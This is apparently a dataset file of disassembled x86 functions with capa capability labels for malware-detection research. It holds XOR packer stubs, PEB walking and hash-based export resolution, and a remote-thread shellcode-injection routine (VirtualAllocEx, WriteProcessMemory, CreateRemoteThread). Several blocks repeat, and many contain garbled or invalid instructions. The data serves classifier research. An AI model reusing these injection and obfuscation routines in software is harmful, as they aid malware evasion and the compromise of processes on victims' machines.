joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1b4c8fbc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1b4c8fd2
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1b4c8fe3
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1b4c9024
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x1b4cb390
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1b4cb2d9
add ebx, 0
push ecx
call 0x1b4cb2ee
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x562c51ed
sub ebx, dword [0x562e4a2c]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x562e4a1c
call fcn.1b4c6db8
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1b4c62c6
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1b4cb44c
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1b4cb44c
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1b4cb403
mov eax, 1
lock xchg dword [0x562e4a28], eax
push 0x3dd1fc71
call 0x1b4cb390
push esi
add esp, 8
cmp eax, 0
jne 0x1b4cb379
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1b4cb39f
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1b4cb3b4
cmp ecx, edx
cmp eax, 0
je 0x1b4cb3d9
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1b4cb3c3
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1b4cb3f2
dec eax
loope 0x1b4cb3f5
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x562e4a28], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1b4cb429
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1b4cb43e
jmp 0x1b4cb449
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1b4cb337
Function at 0x1b4d24b1
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x1b4d2787
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x562d16a0
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x562c8666
push 0xffffffffffffffff
call fcn.1b4c96b1
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1b4d251b
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.1b4d2533
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1b4d277b
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1b4d274f
Function at 0x1b4e1f81
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1b4e1fa3
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1b4e1fa3
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1b4e1fa3
ret
cmp word [ebx + 4], 0x14c
jne 0x1b4e1fa3
test word [ebx + 0x16], 2
je 0x1b4e1fa3
test word [ebx + 0x16], 0x100
je 0x1b4e1fa3
cmp word [ebx + 0x18], 0x10b
jne 0x1b4e1fa3
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1b4e1fa3
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1b4e202f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1b4e1fc3
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1b4c8f0e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1b4e1fa3
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1b4e202f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1b4e1fa3
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1b4e1fa3
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1b4e1fa3
ret
cmp word [ebx + 4], 0x14c
jne 0x1b4e1fa3
test word [ebx + 0x16], 2
je 0x1b4e1fa3
test word [ebx + 0x16], 0x100
je 0x1b4e1fa3
cmp word [ebx + 0x18], 0x10b
jne 0x1b4e1fa3
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1b4e1fa3
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1b4e202f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1b4e1fc3
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1b4c8f0e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1b4e1fa3
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1b4e20e6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1b4e213f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1b4e20e6
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1b4e20f5
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1b8e7d98
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1b4e2146
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1b4c8fbc
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1b4e21e5
add edi, 4
add eax, 2
dec ecx
jne 0x1b4e212b
call 0x1b4e2192
loope 0x1b4e2188
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1b4e21e2
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1b4e21f3
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1b4e21a6
cmp eax, ecx
ja 0x1b4e21a6
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1b4e2230
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1b4e2226
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1b4c949b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1b4e20f5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1b4e213f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1b4e20e6
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1b4e20f5
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1b8e7d98
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1b4e2146
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1b4c8fbc
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1b4e21e5
add edi, 4
add eax, 2
dec ecx
jne 0x1b4e212b
call 0x1b4e2192
loope 0x1b4e2188
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1b4e21e2
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1b4e21f3
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1b4e21a6
cmp eax, ecx
ja 0x1b4e21a6
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1b4e2230
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1b4e2226
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1b4c949b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
jmp fcn.00431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408e84
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x7c696899
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x76b81d60
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40729f
nop
nop
sub eax, 0x407245
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x407ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov edi, ecx
out dx, eax
in al, dx
adc al, 0x83
jge 0x407f09
dec edi
jl 0x407f03
test al, 0x45
adc byte [esi], cl
add byte [edi - 0x23f7ba58], dh
test al, 0x45
or ah, bl
sbb eax, 0x403d30
mov ecx, dword [ebp + 0x70]
push ebx
cmp eax, 0x4d8b0040
jo 0x407f63
inc edi
pop ebp
and byte [esi + 0x33], dl
not byte [edi - 0x21]
mov edx, 0x89fc7589
xor esi, esi
adc eax, 0x7afb8b05
push cs
leave
fmul dword [eax]
fchs
adc byte [ecx + 0x1014108], 0
add byte [eax], al
mov ecx, dword [ebp + 0xc]
mov edi, ebx
or byte [ebp + 0x5150ec45], cl
push edx
call dword [0x6f40c118]
fst st(1)
daa
pop ebp
inc ebp
in al, dx
fmul qword [ecx]
xor dl, al
inc eax
sbb byte [ecx - 0x3c], ch
or al, 0xdf
loopne 0x407f4d
les ebp, [edi + 0x738d727b]
push eax
cmp esi, ebx
jbe 0x407fba
fld qword [ebp - 0x14]
inc ebp
in al, dx
fmul qword [esi + 0x30]
ret 0x40
lea eax, [ebx + 0x50]
adc byte [ebx + 0x168ad973], bh
pop es
pop ss
inc edi
inc esi
cmp edi, dword [ebp + 0x509ef672]
fld qword [ebp + 8]
fcomp qword [0x40c230]
fnstsw ax
and eax, 0x31ea4100
jne 0x40801d
sbb dword [ebp + 8], eax
bswap eax
clc
ret 0x40
dec ebp
mov dword [ebp + 0x6a], esi
jmp 0x40801d
out 0x45, eax
adc byte [edi - 0x30], ch
sbb byte [ebx - 0x3f21e390], cl
push ss
add eax, dword [ebx]
jne 0x408029
or dword [ebp + 0x14], 0x13734664
mov eax, dword [ebp + 0x10]
cmp edi, esi
fmul dword [ecx + 0x3c601]
mov esi, dword [eax + 0x5e]
pop ebx
mov ebp, dword [ebx*2 + 0x3558bc3]
jno 0x40804a
mov dword [ecx], edx
cmp edi, dword [ebx*8 + 0x43a20845]
push eax
adc al, 0x3a
cmp al, 0xdd
inc ebp
or byte [edx + 0x3a145043], ah
mov eax, 0x290aeb90
xchg ebx, eax
insb byte es:[edi], dx
dec ebp
jb 0x40804f
arpl word [edi], bp
ja 0x408015

Function at 0x40a2d0
Capabilities:
Terminate process

Disassembly:
insd dword es:[edi], dx
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x40a2ed
add eax, 0xc
push eax
xor al, 0x28
cmp al, al
les eax, [eax]
xor edi, dword [ebx + 0x5d]
invalid
mov ebx, edi
or byte [edx - 1], ch
stosb byte es:[edi], al
call dword [0xe2c09c]
test eax, eax
je 0x40a2e7
cmp eax, 0x3a00c9
jecxz 0x40a375
add al, byte [ecx]
add byte [eax], al
push esi
sahf
inc esp
mov eax, 0x11189
pop esi
jo 0x40a2d6
outsb dx, byte [esi]
mov esi, dword fs:[0x40c098]
call esi
test eax, eax
push cs
add eax, 0x48c2525e
add bh, bh
sbb dword [0x9bfc80], eax
push ecx
ffreep st(2)
add al, 0
nop
pushfd
nop
inc ebp
nop
add al, 0x90
nop
nop
nop
nop
out 0x7c, eax
mov ecx, dword [ecx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]

Function at 0x40a340
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
scasd eax, dword es:[edi]
dec ebp
or byte [esi - 0x75], dl
inc ecx
add al, 0x85
pop edi
mov dh, byte [edi - 0x7d]
sal dword [edx + 0x58], 0xa9
pop eax
test eax, 0xa7c07215
invalid
Function at 0x40d8ee
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
nop
nop
mov ebx, 0x40915c
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x23910b82
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x431060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4310d2
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x410968b4
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x424060], 1
mov dword [0x42405c], 1
mov dword [0x424058], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x424014], eax
mov eax, dword [0x42406c]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x424080]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x424068]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x421450], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401647
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
cmp dword [ebp + 8], 0
jne 0x40165f
mov dword [esp], 0
call sym._exit
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1fffff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401694
mov dword [esp], 0
call sym._exit
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], 0x3c812
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4016d9
mov dword [esp], 0
call sym._exit
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x1e409
mov dword [esp + 8], 0x403020
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
jne 0x401718
mov dword [esp], 0
call sym._exit
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call eax
sub esp, 0x1c
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
nop
leave
ret